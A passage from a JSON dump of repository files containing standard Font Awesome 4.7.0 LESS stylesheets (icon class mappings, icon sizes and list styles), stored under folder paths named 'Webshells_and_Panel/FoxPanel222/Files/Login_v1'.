@fa-var-xing-square; }\n.@{fa-css-prefix}-youtube-play:before { content: @fa-var-youtube-play; }\n.@{fa-css-prefix}-dropbox:before { content: @fa-var-dropbox; }\n.@{fa-css-prefix}-stack-overflow:before { content: @fa-var-stack-overflow; }\n.@{fa-css-prefix}-instagram:before { content: @fa-var-instagram; }\n.@{fa-css-prefix}-flickr:before { content: @fa-var-flickr; }\n.@{fa-css-prefix}-adn:before { content: @fa-var-adn; }\n.@{fa-css-prefix}-bitbucket:before { content: @fa-var-bitbucket; }\n.@{fa-css-prefix}-bitbucket-square:before { content: @fa-var-bitbucket-square; }\n.@{fa-css-prefix}-tumblr:before { content: @fa-var-tumblr; }\n.@{fa-css-prefix}-tumblr-square:before { content: @fa-var-tumblr-square; }\n.@{fa-css-prefix}-long-arrow-down:before { content: @fa-var-long-arrow-down; }\n.@{fa-css-prefix}-long-arrow-up:before { content: @fa-var-long-arrow-up; }\n.@{fa-css-prefix}-long-arrow-left:before { content: @fa-var-long-arrow-left; }\n.@{fa-css-prefix}-long-arrow-right:before { content: @fa-var-long-arrow-right; }\n.@{fa-css-prefix}-apple:before { content: @fa-var-apple; }\n.@{fa-css-prefix}-windows:before { content: @fa-var-windows; }\n.@{fa-css-prefix}-android:before { content: @fa-var-android; }\n.@{fa-css-prefix}-linux:before { content: @fa-var-linux; }\n.@{fa-css-prefix}-dribbble:before { content: @fa-var-dribbble; }\n.@{fa-css-prefix}-skype:before { content: @fa-var-skype; }\n.@{fa-css-prefix}-foursquare:before { content: @fa-var-foursquare; }\n.@{fa-css-prefix}-trello:before { content: @fa-var-trello; }\n.@{fa-css-prefix}-female:before { content: @fa-var-female; }\n.@{fa-css-prefix}-male:before { content: @fa-var-male; }\n.@{fa-css-prefix}-gittip:before,\n.@{fa-css-prefix}-gratipay:before { content: @fa-var-gratipay; }\n.@{fa-css-prefix}-sun-o:before { content: @fa-var-sun-o; }\n.@{fa-css-prefix}-moon-o:before { content: @fa-var-moon-o; }\n.@{fa-css-prefix}-archive:before { content: @fa-var-archive; }\n.@{fa-css-prefix}-bug:before { content: @fa-var-bug; }\n.@{fa-css-prefix}-vk:before { content: @fa-var-vk; }\n.@{fa-css-prefix}-weibo:before { content: @fa-var-weibo; }\n.@{fa-css-prefix}-renren:before { content: @fa-var-renren; }\n.@{fa-css-prefix}-pagelines:before { content: @fa-var-pagelines; }\n.@{fa-css-prefix}-stack-exchange:before { content: @fa-var-stack-exchange; }\n.@{fa-css-prefix}-arrow-circle-o-right:before { content: @fa-var-arrow-circle-o-right; }\n.@{fa-css-prefix}-arrow-circle-o-left:before { content: @fa-var-arrow-circle-o-left; }\n.@{fa-css-prefix}-toggle-left:before,\n.@{fa-css-prefix}-caret-square-o-left:before { content: @fa-var-caret-square-o-left; }\n.@{fa-css-prefix}-dot-circle-o:before { content: @fa-var-dot-circle-o; }\n.@{fa-css-prefix}-wheelchair:before { content: @fa-var-wheelchair; }\n.@{fa-css-prefix}-vimeo-square:before { content: @fa-var-vimeo-square; }\n.@{fa-css-prefix}-turkish-lira:before,\n.@{fa-css-prefix}-try:before { content: @fa-var-try; }\n.@{fa-css-prefix}-plus-square-o:before { content: @fa-var-plus-square-o; }\n.@{fa-css-prefix}-space-shuttle:before { content: @fa-var-space-shuttle; }\n.@{fa-css-prefix}-slack:before { content: @fa-var-slack; }\n.@{fa-css-prefix}-envelope-square:before { content: @fa-var-envelope-square; }\n.@{fa-css-prefix}-wordpress:before { content: @fa-var-wordpress; }\n.@{fa-css-prefix}-openid:before { content: @fa-var-openid; }\n.@{fa-css-prefix}-institution:before,\n.@{fa-css-prefix}-bank:before,\n.@{fa-css-prefix}-university:before { content: @fa-var-university; }\n.@{fa-css-prefix}-mortar-board:before,\n.@{fa-css-prefix}-graduation-cap:before { content: @fa-var-graduation-cap; }\n.@{fa-css-prefix}-yahoo:before { content: @fa-var-yahoo; }\n.@{fa-css-prefix}-google:before { content: @fa-var-google; }\n.@{fa-css-prefix}-reddit:before { content: @fa-var-reddit; }\n.@{fa-css-prefix}-reddit-square:before { content: @fa-var-reddit-square; }\n.@{fa-css-prefix}-stumbleupon-circle:before { content: @fa-var-stumbleupon-circle; }\n.@{fa-css-prefix}-stumbleupon:before { content: @fa-var-stumbleupon; }\n.@{fa-css-prefix}-delicious:before { content: @fa-var-delicious; }\n.@{fa-css-prefix}-digg:before { content: @fa-var-digg; }\n.@{fa-css-prefix}-pied-piper-pp:before { content: @fa-var-pied-piper-pp; }\n.@{fa-css-prefix}-pied-piper-alt:before { content: @fa-var-pied-piper-alt; }\n.@{fa-css-prefix}-drupal:before { content: @fa-var-drupal; }\n.@{fa-css-prefix}-joomla:before { content: @fa-var-joomla; }\n.@{fa-css-prefix}-language:before { content: @fa-var-language; }\n.@{fa-css-prefix}-fax:before { content: @fa-var-fax; }\n.@{fa-css-prefix}-building:before { content: @fa-var-building; }\n.@{fa-css-prefix}-child:before { content: @fa-var-child; }\n.@{fa-css-prefix}-paw:before { content: @fa-var-paw; }\n.@{fa-css-prefix}-spoon:before { content: @fa-var-spoon; }\n.@{fa-css-prefix}-cube:before { content: @fa-var-cube; }\n.@{fa-css-prefix}-cubes:before { content: @fa-var-cubes; }\n.@{fa-css-prefix}-behance:before { content: @fa-var-behance; }\n.@{fa-css-prefix}-behance-square:before { content: @fa-var-behance-square; }\n.@{fa-css-prefix}-steam:before { content: @fa-var-steam; }\n.@{fa-css-prefix}-steam-square:before { content: @fa-var-steam-square; }\n.@{fa-css-prefix}-recycle:before { content: @fa-var-recycle; }\n.@{fa-css-prefix}-automobile:before,\n.@{fa-css-prefix}-car:before { content: @fa-var-car; }\n.@{fa-css-prefix}-cab:before,\n.@{fa-css-prefix}-taxi:before { content: @fa-var-taxi; }\n.@{fa-css-prefix}-tree:before { content: @fa-var-tree; }\n.@{fa-css-prefix}-spotify:before { content: @fa-var-spotify; }\n.@{fa-css-prefix}-deviantart:before { content: @fa-var-deviantart; }\n.@{fa-css-prefix}-soundcloud:before { content: @fa-var-soundcloud; }\n.@{fa-css-prefix}-database:before { content: @fa-var-database; }\n.@{fa-css-prefix}-file-pdf-o:before { content: @fa-var-file-pdf-o; }\n.@{fa-css-prefix}-file-word-o:before { content: @fa-var-file-word-o; }\n.@{fa-css-prefix}-file-excel-o:before { content: @fa-var-file-excel-o; }\n.@{fa-css-prefix}-file-powerpoint-o:before { content: @fa-var-file-powerpoint-o; }\n.@{fa-css-prefix}-file-photo-o:before,\n.@{fa-css-prefix}-file-picture-o:before,\n.@{fa-css-prefix}-file-image-o:before { content: @fa-var-file-image-o; }\n.@{fa-css-prefix}-file-zip-o:before,\n.@{fa-css-prefix}-file-archive-o:before { content: @fa-var-file-archive-o; }\n.@{fa-css-prefix}-file-sound-o:before,\n.@{fa-css-prefix}-file-audio-o:before { content: @fa-var-file-audio-o; }\n.@{fa-css-prefix}-file-movie-o:before,\n.@{fa-css-prefix}-file-video-o:before { content: @fa-var-file-video-o; }\n.@{fa-css-prefix}-file-code-o:before { content: @fa-var-file-code-o; }\n.@{fa-css-prefix}-vine:before { content: @fa-var-vine; }\n.@{fa-css-prefix}-codepen:before { content: @fa-var-codepen; }\n.@{fa-css-prefix}-jsfiddle:before { content: @fa-var-jsfiddle; }\n.@{fa-css-prefix}-life-bouy:before,\n.@{fa-css-prefix}-life-buoy:before,\n.@{fa-css-prefix}-life-saver:before,\n.@{fa-css-prefix}-support:before,\n.@{fa-css-prefix}-life-ring:before { content: @fa-var-life-ring; }\n.@{fa-css-prefix}-circle-o-notch:before { content: @fa-var-circle-o-notch; }\n.@{fa-css-prefix}-ra:before,\n.@{fa-css-prefix}-resistance:before,\n.@{fa-css-prefix}-rebel:before { content: @fa-var-rebel; }\n.@{fa-css-prefix}-ge:before,\n.@{fa-css-prefix}-empire:before { content: @fa-var-empire; }\n.@{fa-css-prefix}-git-square:before { content: @fa-var-git-square; }\n.@{fa-css-prefix}-git:before { content: @fa-var-git; }\n.@{fa-css-prefix}-y-combinator-square:before,\n.@{fa-css-prefix}-yc-square:before,\n.@{fa-css-prefix}-hacker-news:before { content: @fa-var-hacker-news; }\n.@{fa-css-prefix}-tencent-weibo:before { content: @fa-var-tencent-weibo; }\n.@{fa-css-prefix}-qq:before { content: @fa-var-qq; }\n.@{fa-css-prefix}-wechat:before,\n.@{fa-css-prefix}-weixin:before { content: @fa-var-weixin; }\n.@{fa-css-prefix}-send:before,\n.@{fa-css-prefix}-paper-plane:before { content: @fa-var-paper-plane; }\n.@{fa-css-prefix}-send-o:before,\n.@{fa-css-prefix}-paper-plane-o:before { content: @fa-var-paper-plane-o; }\n.@{fa-css-prefix}-history:before { content: @fa-var-history; }\n.@{fa-css-prefix}-circle-thin:before { content: @fa-var-circle-thin; }\n.@{fa-css-prefix}-header:before { content: @fa-var-header; }\n.@{fa-css-prefix}-paragraph:before { content: @fa-var-paragraph; }\n.@{fa-css-prefix}-sliders:before { content: @fa-var-sliders; }\n.@{fa-css-prefix}-share-alt:before { content: @fa-var-share-alt; }\n.@{fa-css-prefix}-share-alt-square:before { content: @fa-var-share-alt-square; }\n.@{fa-css-prefix}-bomb:before { content: @fa-var-bomb; }\n.@{fa-css-prefix}-soccer-ball-o:before,\n.@{fa-css-prefix}-futbol-o:before { content: @fa-var-futbol-o; }\n.@{fa-css-prefix}-tty:before { content: @fa-var-tty; }\n.@{fa-css-prefix}-binoculars:before { content: @fa-var-binoculars; }\n.@{fa-css-prefix}-plug:before { content: @fa-var-plug; }\n.@{fa-css-prefix}-slideshare:before { content: @fa-var-slideshare; }\n.@{fa-css-prefix}-twitch:before { content: @fa-var-twitch; }\n.@{fa-css-prefix}-yelp:before { content: @fa-var-yelp; }\n.@{fa-css-prefix}-newspaper-o:before { content: @fa-var-newspaper-o; }\n.@{fa-css-prefix}-wifi:before { content: @fa-var-wifi; }\n.@{fa-css-prefix}-calculator:before { content: @fa-var-calculator; }\n.@{fa-css-prefix}-paypal:before { content: @fa-var-paypal; }\n.@{fa-css-prefix}-google-wallet:before { content: @fa-var-google-wallet; }\n.@{fa-css-prefix}-cc-visa:before { content: @fa-var-cc-visa; }\n.@{fa-css-prefix}-cc-mastercard:before { content: @fa-var-cc-mastercard; }\n.@{fa-css-prefix}-cc-discover:before { content: @fa-var-cc-discover; }\n.@{fa-css-prefix}-cc-amex:before { content: @fa-var-cc-amex; }\n.@{fa-css-prefix}-cc-paypal:before { content: @fa-var-cc-paypal; }\n.@{fa-css-prefix}-cc-stripe:before { content: @fa-var-cc-stripe; }\n.@{fa-css-prefix}-bell-slash:before { content: @fa-var-bell-slash; }\n.@{fa-css-prefix}-bell-slash-o:before { content: @fa-var-bell-slash-o; }\n.@{fa-css-prefix}-trash:before { content: @fa-var-trash; }\n.@{fa-css-prefix}-copyright:before { content: @fa-var-copyright; }\n.@{fa-css-prefix}-at:before { content: @fa-var-at; }\n.@{fa-css-prefix}-eyedropper:before { content: @fa-var-eyedropper; }\n.@{fa-css-prefix}-paint-brush:before { content: @fa-var-paint-brush; }\n.@{fa-css-prefix}-birthday-cake:before { content: @fa-var-birthday-cake; }\n.@{fa-css-prefix}-area-chart:before { content: @fa-var-area-chart; }\n.@{fa-css-prefix}-pie-chart:before { content: @fa-var-pie-chart; }\n.@{fa-css-prefix}-line-chart:before { content: @fa-var-line-chart; }\n.@{fa-css-prefix}-lastfm:before { content: @fa-var-lastfm; }\n.@{fa-css-prefix}-lastfm-square:before { content: @fa-var-lastfm-square; }\n.@{fa-css-prefix}-toggle-off:before { content: @fa-var-toggle-off; }\n.@{fa-css-prefix}-toggle-on:before { content: @fa-var-toggle-on; }\n.@{fa-css-prefix}-bicycle:before { content: @fa-var-bicycle; }\n.@{fa-css-prefix}-bus:before { content: @fa-var-bus; }\n.@{fa-css-prefix}-ioxhost:before { content: @fa-var-ioxhost; }\n.@{fa-css-prefix}-angellist:before { content: @fa-var-angellist; }\n.@{fa-css-prefix}-cc:before { content: @fa-var-cc; }\n.@{fa-css-prefix}-shekel:before,\n.@{fa-css-prefix}-sheqel:before,\n.@{fa-css-prefix}-ils:before { content: @fa-var-ils; }\n.@{fa-css-prefix}-meanpath:before { content: @fa-var-meanpath; }\n.@{fa-css-prefix}-buysellads:before { content: @fa-var-buysellads; }\n.@{fa-css-prefix}-connectdevelop:before { content: @fa-var-connectdevelop; }\n.@{fa-css-prefix}-dashcube:before { content: @fa-var-dashcube; }\n.@{fa-css-prefix}-forumbee:before { content: @fa-var-forumbee; }\n.@{fa-css-prefix}-leanpub:before { content: @fa-var-leanpub; }\n.@{fa-css-prefix}-sellsy:before { content: @fa-var-sellsy; }\n.@{fa-css-prefix}-shirtsinbulk:before { content: @fa-var-shirtsinbulk; }\n.@{fa-css-prefix}-simplybuilt:before { content: @fa-var-simplybuilt; }\n.@{fa-css-prefix}-skyatlas:before { content: @fa-var-skyatlas; }\n.@{fa-css-prefix}-cart-plus:before { content: @fa-var-cart-plus; }\n.@{fa-css-prefix}-cart-arrow-down:before { content: @fa-var-cart-arrow-down; }\n.@{fa-css-prefix}-diamond:before { content: @fa-var-diamond; }\n.@{fa-css-prefix}-ship:before { content: @fa-var-ship; }\n.@{fa-css-prefix}-user-secret:before { content: @fa-var-user-secret; }\n.@{fa-css-prefix}-motorcycle:before { content: @fa-var-motorcycle; }\n.@{fa-css-prefix}-street-view:before { content: @fa-var-street-view; }\n.@{fa-css-prefix}-heartbeat:before { content: @fa-var-heartbeat; }\n.@{fa-css-prefix}-venus:before { content: @fa-var-venus; }\n.@{fa-css-prefix}-mars:before { content: @fa-var-mars; }\n.@{fa-css-prefix}-mercury:before { content: @fa-var-mercury; }\n.@{fa-css-prefix}-intersex:before,\n.@{fa-css-prefix}-transgender:before { content: @fa-var-transgender; }\n.@{fa-css-prefix}-transgender-alt:before { content: @fa-var-transgender-alt; }\n.@{fa-css-prefix}-venus-double:before { content: @fa-var-venus-double; }\n.@{fa-css-prefix}-mars-double:before { content: @fa-var-mars-double; }\n.@{fa-css-prefix}-venus-mars:before { content: @fa-var-venus-mars; }\n.@{fa-css-prefix}-mars-stroke:before { content: @fa-var-mars-stroke; }\n.@{fa-css-prefix}-mars-stroke-v:before { content: @fa-var-mars-stroke-v; }\n.@{fa-css-prefix}-mars-stroke-h:before { content: @fa-var-mars-stroke-h; }\n.@{fa-css-prefix}-neuter:before { content: @fa-var-neuter; }\n.@{fa-css-prefix}-genderless:before { content: @fa-var-genderless; }\n.@{fa-css-prefix}-facebook-official:before { content: @fa-var-facebook-official; }\n.@{fa-css-prefix}-pinterest-p:before { content: @fa-var-pinterest-p; }\n.@{fa-css-prefix}-whatsapp:before { content: @fa-var-whatsapp; }\n.@{fa-css-prefix}-server:before { content: @fa-var-server; }\n.@{fa-css-prefix}-user-plus:before { content: @fa-var-user-plus; }\n.@{fa-css-prefix}-user-times:before { content: @fa-var-user-times; }\n.@{fa-css-prefix}-hotel:before,\n.@{fa-css-prefix}-bed:before { content: @fa-var-bed; }\n.@{fa-css-prefix}-viacoin:before { content: @fa-var-viacoin; }\n.@{fa-css-prefix}-train:before { content: @fa-var-train; }\n.@{fa-css-prefix}-subway:before { content: @fa-var-subway; }\n.@{fa-css-prefix}-medium:before { content: @fa-var-medium; }\n.@{fa-css-prefix}-yc:before,\n.@{fa-css-prefix}-y-combinator:before { content: @fa-var-y-combinator; }\n.@{fa-css-prefix}-optin-monster:before { content: @fa-var-optin-monster; }\n.@{fa-css-prefix}-opencart:before { content: @fa-var-opencart; }\n.@{fa-css-prefix}-expeditedssl:before { content: @fa-var-expeditedssl; }\n.@{fa-css-prefix}-battery-4:before,\n.@{fa-css-prefix}-battery:before,\n.@{fa-css-prefix}-battery-full:before { content: @fa-var-battery-full; }\n.@{fa-css-prefix}-battery-3:before,\n.@{fa-css-prefix}-battery-three-quarters:before { content: @fa-var-battery-three-quarters; }\n.@{fa-css-prefix}-battery-2:before,\n.@{fa-css-prefix}-battery-half:before { content: @fa-var-battery-half; }\n.@{fa-css-prefix}-battery-1:before,\n.@{fa-css-prefix}-battery-quarter:before { content: @fa-var-battery-quarter; }\n.@{fa-css-prefix}-battery-0:before,\n.@{fa-css-prefix}-battery-empty:before { content: @fa-var-battery-empty; }\n.@{fa-css-prefix}-mouse-pointer:before { content: @fa-var-mouse-pointer; }\n.@{fa-css-prefix}-i-cursor:before { content: @fa-var-i-cursor; }\n.@{fa-css-prefix}-object-group:before { content: @fa-var-object-group; }\n.@{fa-css-prefix}-object-ungroup:before { content: @fa-var-object-ungroup; }\n.@{fa-css-prefix}-sticky-note:before { content: @fa-var-sticky-note; }\n.@{fa-css-prefix}-sticky-note-o:before { content: @fa-var-sticky-note-o; }\n.@{fa-css-prefix}-cc-jcb:before { content: @fa-var-cc-jcb; }\n.@{fa-css-prefix}-cc-diners-club:before { content: @fa-var-cc-diners-club; }\n.@{fa-css-prefix}-clone:before { content: @fa-var-clone; }\n.@{fa-css-prefix}-balance-scale:before { content: @fa-var-balance-scale; }\n.@{fa-css-prefix}-hourglass-o:before { content: @fa-var-hourglass-o; }\n.@{fa-css-prefix}-hourglass-1:before,\n.@{fa-css-prefix}-hourglass-start:before { content: @fa-var-hourglass-start; }\n.@{fa-css-prefix}-hourglass-2:before,\n.@{fa-css-prefix}-hourglass-half:before { content: @fa-var-hourglass-half; }\n.@{fa-css-prefix}-hourglass-3:before,\n.@{fa-css-prefix}-hourglass-end:before { content: @fa-var-hourglass-end; }\n.@{fa-css-prefix}-hourglass:before { content: @fa-var-hourglass; }\n.@{fa-css-prefix}-hand-grab-o:before,\n.@{fa-css-prefix}-hand-rock-o:before { content: @fa-var-hand-rock-o; }\n.@{fa-css-prefix}-hand-stop-o:before,\n.@{fa-css-prefix}-hand-paper-o:before { content: @fa-var-hand-paper-o; }\n.@{fa-css-prefix}-hand-scissors-o:before { content: @fa-var-hand-scissors-o; }\n.@{fa-css-prefix}-hand-lizard-o:before { content: @fa-var-hand-lizard-o; }\n.@{fa-css-prefix}-hand-spock-o:before { content: @fa-var-hand-spock-o; }\n.@{fa-css-prefix}-hand-pointer-o:before { content: @fa-var-hand-pointer-o; }\n.@{fa-css-prefix}-hand-peace-o:before { content: @fa-var-hand-peace-o; }\n.@{fa-css-prefix}-trademark:before { content: @fa-var-trademark; }\n.@{fa-css-prefix}-registered:before { content: @fa-var-registered; }\n.@{fa-css-prefix}-creative-commons:before { content: @fa-var-creative-commons; }\n.@{fa-css-prefix}-gg:before { content: @fa-var-gg; }\n.@{fa-css-prefix}-gg-circle:before { content: @fa-var-gg-circle; }\n.@{fa-css-prefix}-tripadvisor:before { content: @fa-var-tripadvisor; }\n.@{fa-css-prefix}-odnoklassniki:before { content: @fa-var-odnoklassniki; }\n.@{fa-css-prefix}-odnoklassniki-square:before { content: @fa-var-odnoklassniki-square; }\n.@{fa-css-prefix}-get-pocket:before { content: @fa-var-get-pocket; }\n.@{fa-css-prefix}-wikipedia-w:before { content: @fa-var-wikipedia-w; }\n.@{fa-css-prefix}-safari:before { content: @fa-var-safari; }\n.@{fa-css-prefix}-chrome:before { content: @fa-var-chrome; }\n.@{fa-css-prefix}-firefox:before { content: @fa-var-firefox; }\n.@{fa-css-prefix}-opera:before { content: @fa-var-opera; }\n.@{fa-css-prefix}-internet-explorer:before { content: @fa-var-internet-explorer; }\n.@{fa-css-prefix}-tv:before,\n.@{fa-css-prefix}-television:before { content: @fa-var-television; }\n.@{fa-css-prefix}-contao:before { content: @fa-var-contao; }\n.@{fa-css-prefix}-500px:before { content: @fa-var-500px; }\n.@{fa-css-prefix}-amazon:before { content: @fa-var-amazon; }\n.@{fa-css-prefix}-calendar-plus-o:before { content: @fa-var-calendar-plus-o; }\n.@{fa-css-prefix}-calendar-minus-o:before { content: @fa-var-calendar-minus-o; }\n.@{fa-css-prefix}-calendar-times-o:before { content: @fa-var-calendar-times-o; }\n.@{fa-css-prefix}-calendar-check-o:before { content: @fa-var-calendar-check-o; }\n.@{fa-css-prefix}-industry:before { content: @fa-var-industry; }\n.@{fa-css-prefix}-map-pin:before { content: @fa-var-map-pin; }\n.@{fa-css-prefix}-map-signs:before { content: @fa-var-map-signs; }\n.@{fa-css-prefix}-map-o:before { content: @fa-var-map-o; }\n.@{fa-css-prefix}-map:before { content: @fa-var-map; }\n.@{fa-css-prefix}-commenting:before { content: @fa-var-commenting; }\n.@{fa-css-prefix}-commenting-o:before { content: @fa-var-commenting-o; }\n.@{fa-css-prefix}-houzz:before { content: @fa-var-houzz; }\n.@{fa-css-prefix}-vimeo:before { content: @fa-var-vimeo; }\n.@{fa-css-prefix}-black-tie:before { content: @fa-var-black-tie; }\n.@{fa-css-prefix}-fonticons:before { content: @fa-var-fonticons; }\n.@{fa-css-prefix}-reddit-alien:before { content: @fa-var-reddit-alien; }\n.@{fa-css-prefix}-edge:before { content: @fa-var-edge; }\n.@{fa-css-prefix}-credit-card-alt:before { content: @fa-var-credit-card-alt; }\n.@{fa-css-prefix}-codiepie:before { content: @fa-var-codiepie; }\n.@{fa-css-prefix}-modx:before { content: @fa-var-modx; }\n.@{fa-css-prefix}-fort-awesome:before { content: @fa-var-fort-awesome; }\n.@{fa-css-prefix}-usb:before { content: @fa-var-usb; }\n.@{fa-css-prefix}-product-hunt:before { content: @fa-var-product-hunt; }\n.@{fa-css-prefix}-mixcloud:before { content: @fa-var-mixcloud; }\n.@{fa-css-prefix}-scribd:before { content: @fa-var-scribd; }\n.@{fa-css-prefix}-pause-circle:before { content: @fa-var-pause-circle; }\n.@{fa-css-prefix}-pause-circle-o:before { content: @fa-var-pause-circle-o; }\n.@{fa-css-prefix}-stop-circle:before { content: @fa-var-stop-circle; }\n.@{fa-css-prefix}-stop-circle-o:before { content: @fa-var-stop-circle-o; }\n.@{fa-css-prefix}-shopping-bag:before { content: @fa-var-shopping-bag; }\n.@{fa-css-prefix}-shopping-basket:before { content: @fa-var-shopping-basket; }\n.@{fa-css-prefix}-hashtag:before { content: @fa-var-hashtag; }\n.@{fa-css-prefix}-bluetooth:before { content: @fa-var-bluetooth; }\n.@{fa-css-prefix}-bluetooth-b:before { content: @fa-var-bluetooth-b; }\n.@{fa-css-prefix}-percent:before { content: @fa-var-percent; }\n.@{fa-css-prefix}-gitlab:before { content: @fa-var-gitlab; }\n.@{fa-css-prefix}-wpbeginner:before { content: @fa-var-wpbeginner; }\n.@{fa-css-prefix}-wpforms:before { content: @fa-var-wpforms; }\n.@{fa-css-prefix}-envira:before { content: @fa-var-envira; }\n.@{fa-css-prefix}-universal-access:before { content: @fa-var-universal-access; }\n.@{fa-css-prefix}-wheelchair-alt:before { content: @fa-var-wheelchair-alt; }\n.@{fa-css-prefix}-question-circle-o:before { content: @fa-var-question-circle-o; }\n.@{fa-css-prefix}-blind:before { content: @fa-var-blind; }\n.@{fa-css-prefix}-audio-description:before { content: @fa-var-audio-description; }\n.@{fa-css-prefix}-volume-control-phone:before { content: @fa-var-volume-control-phone; }\n.@{fa-css-prefix}-braille:before { content: @fa-var-braille; }\n.@{fa-css-prefix}-assistive-listening-systems:before { content: @fa-var-assistive-listening-systems; }\n.@{fa-css-prefix}-asl-interpreting:before,\n.@{fa-css-prefix}-american-sign-language-interpreting:before { content: @fa-var-american-sign-language-interpreting; }\n.@{fa-css-prefix}-deafness:before,\n.@{fa-css-prefix}-hard-of-hearing:before,\n.@{fa-css-prefix}-deaf:before { content: @fa-var-deaf; }\n.@{fa-css-prefix}-glide:before { content: @fa-var-glide; }\n.@{fa-css-prefix}-glide-g:before { content: @fa-var-glide-g; }\n.@{fa-css-prefix}-signing:before,\n.@{fa-css-prefix}-sign-language:before { content: @fa-var-sign-language; }\n.@{fa-css-prefix}-low-vision:before { content: @fa-var-low-vision; }\n.@{fa-css-prefix}-viadeo:before { content: @fa-var-viadeo; }\n.@{fa-css-prefix}-viadeo-square:before { content: @fa-var-viadeo-square; }\n.@{fa-css-prefix}-snapchat:before { content: @fa-var-snapchat; }\n.@{fa-css-prefix}-snapchat-ghost:before { content: @fa-var-snapchat-ghost; }\n.@{fa-css-prefix}-snapchat-square:before { content: @fa-var-snapchat-square; }\n.@{fa-css-prefix}-pied-piper:before { content: @fa-var-pied-piper; }\n.@{fa-css-prefix}-first-order:before { content: @fa-var-first-order; }\n.@{fa-css-prefix}-yoast:before { content: @fa-var-yoast; }\n.@{fa-css-prefix}-themeisle:before { content: @fa-var-themeisle; }\n.@{fa-css-prefix}-google-plus-circle:before,\n.@{fa-css-prefix}-google-plus-official:before { content: @fa-var-google-plus-official; }\n.@{fa-css-prefix}-fa:before,\n.@{fa-css-prefix}-font-awesome:before { content: @fa-var-font-awesome; }\n.@{fa-css-prefix}-handshake-o:before { content: @fa-var-handshake-o; }\n.@{fa-css-prefix}-envelope-open:before { content: @fa-var-envelope-open; }\n.@{fa-css-prefix}-envelope-open-o:before { content: @fa-var-envelope-open-o; }\n.@{fa-css-prefix}-linode:before { content: @fa-var-linode; }\n.@{fa-css-prefix}-address-book:before { content: @fa-var-address-book; }\n.@{fa-css-prefix}-address-book-o:before { content: @fa-var-address-book-o; }\n.@{fa-css-prefix}-vcard:before,\n.@{fa-css-prefix}-address-card:before { content: @fa-var-address-card; }\n.@{fa-css-prefix}-vcard-o:before,\n.@{fa-css-prefix}-address-card-o:before { content: @fa-var-address-card-o; }\n.@{fa-css-prefix}-user-circle:before { content: @fa-var-user-circle; }\n.@{fa-css-prefix}-user-circle-o:before { content: @fa-var-user-circle-o; }\n.@{fa-css-prefix}-user-o:before { content: @fa-var-user-o; }\n.@{fa-css-prefix}-id-badge:before { content: @fa-var-id-badge; }\n.@{fa-css-prefix}-drivers-license:before,\n.@{fa-css-prefix}-id-card:before { content: @fa-var-id-card; }\n.@{fa-css-prefix}-drivers-license-o:before,\n.@{fa-css-prefix}-id-card-o:before { content: @fa-var-id-card-o; }\n.@{fa-css-prefix}-quora:before { content: @fa-var-quora; }\n.@{fa-css-prefix}-free-code-camp:before { content: @fa-var-free-code-camp; }\n.@{fa-css-prefix}-telegram:before { content: @fa-var-telegram; }\n.@{fa-css-prefix}-thermometer-4:before,\n.@{fa-css-prefix}-thermometer:before,\n.@{fa-css-prefix}-thermometer-full:before { content: @fa-var-thermometer-full; }\n.@{fa-css-prefix}-thermometer-3:before,\n.@{fa-css-prefix}-thermometer-three-quarters:before { content: @fa-var-thermometer-three-quarters; }\n.@{fa-css-prefix}-thermometer-2:before,\n.@{fa-css-prefix}-thermometer-half:before { content: @fa-var-thermometer-half; }\n.@{fa-css-prefix}-thermometer-1:before,\n.@{fa-css-prefix}-thermometer-quarter:before { content: @fa-var-thermometer-quarter; }\n.@{fa-css-prefix}-thermometer-0:before,\n.@{fa-css-prefix}-thermometer-empty:before { content: @fa-var-thermometer-empty; }\n.@{fa-css-prefix}-shower:before { content: @fa-var-shower; }\n.@{fa-css-prefix}-bathtub:before,\n.@{fa-css-prefix}-s15:before,\n.@{fa-css-prefix}-bath:before { content: @fa-var-bath; }\n.@{fa-css-prefix}-podcast:before { content: @fa-var-podcast; }\n.@{fa-css-prefix}-window-maximize:before { content: @fa-var-window-maximize; }\n.@{fa-css-prefix}-window-minimize:before { content: @fa-var-window-minimize; }\n.@{fa-css-prefix}-window-restore:before { content: @fa-var-window-restore; }\n.@{fa-css-prefix}-times-rectangle:before,\n.@{fa-css-prefix}-window-close:before { content: @fa-var-window-close; }\n.@{fa-css-prefix}-times-rectangle-o:before,\n.@{fa-css-prefix}-window-close-o:before { content: @fa-var-window-close-o; }\n.@{fa-css-prefix}-bandcamp:before { content: @fa-var-bandcamp; }\n.@{fa-css-prefix}-grav:before { content: @fa-var-grav; }\n.@{fa-css-prefix}-etsy:before { content: @fa-var-etsy; }\n.@{fa-css-prefix}-imdb:before { content: @fa-var-imdb; }\n.@{fa-css-prefix}-ravelry:before { content: @fa-var-ravelry; }\n.@{fa-css-prefix}-eercast:before { content: @fa-var-eercast; }\n.@{fa-css-prefix}-microchip:before { content: @fa-var-microchip; }\n.@{fa-css-prefix}-snowflake-o:before { content: @fa-var-snowflake-o; }\n.@{fa-css-prefix}-superpowers:before { content: @fa-var-superpowers; }\n.@{fa-css-prefix}-wpexplorer:before { content: @fa-var-wpexplorer; }\n.@{fa-css-prefix}-meetup:before { content: @fa-var-meetup; }\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/larger.less",
    "content": "// Icon Sizes\n// -------------------------\n\n/* makes the font 33% larger relative to the icon container */\n.@{fa-css-prefix}-lg {\n  font-size: (4em / 3);\n  line-height: (3em / 4);\n  vertical-align: -15%;\n}\n.@{fa-css-prefix}-2x { font-size: 2em; }\n.@{fa-css-prefix}-3x { font-size: 3em; }\n.@{fa-css-prefix}-4x { font-size: 4em; }\n.@{fa-css-prefix}-5x { font-size: 5em; }\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/list.less",
    "content": "// List Icons\n// -------------------------\n\n.@{fa-css-prefix}-ul {\n  padding-left: 0;\n  margin-left: @fa-li-width;\n  list-style-type: none;\n  > li { position: relative; }\n}\n.@{fa-css-prefix}-li {\n  position: absolute;\n  left: -@fa-li-width;\n  width: @fa-li-width;\n  top: (2em / 14);\n  text-align: center;\n  &.@{fa-css-prefix}-lg {\n    left: (-@fa-li-width + (4em / 14));\n  }\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/mixins.less",
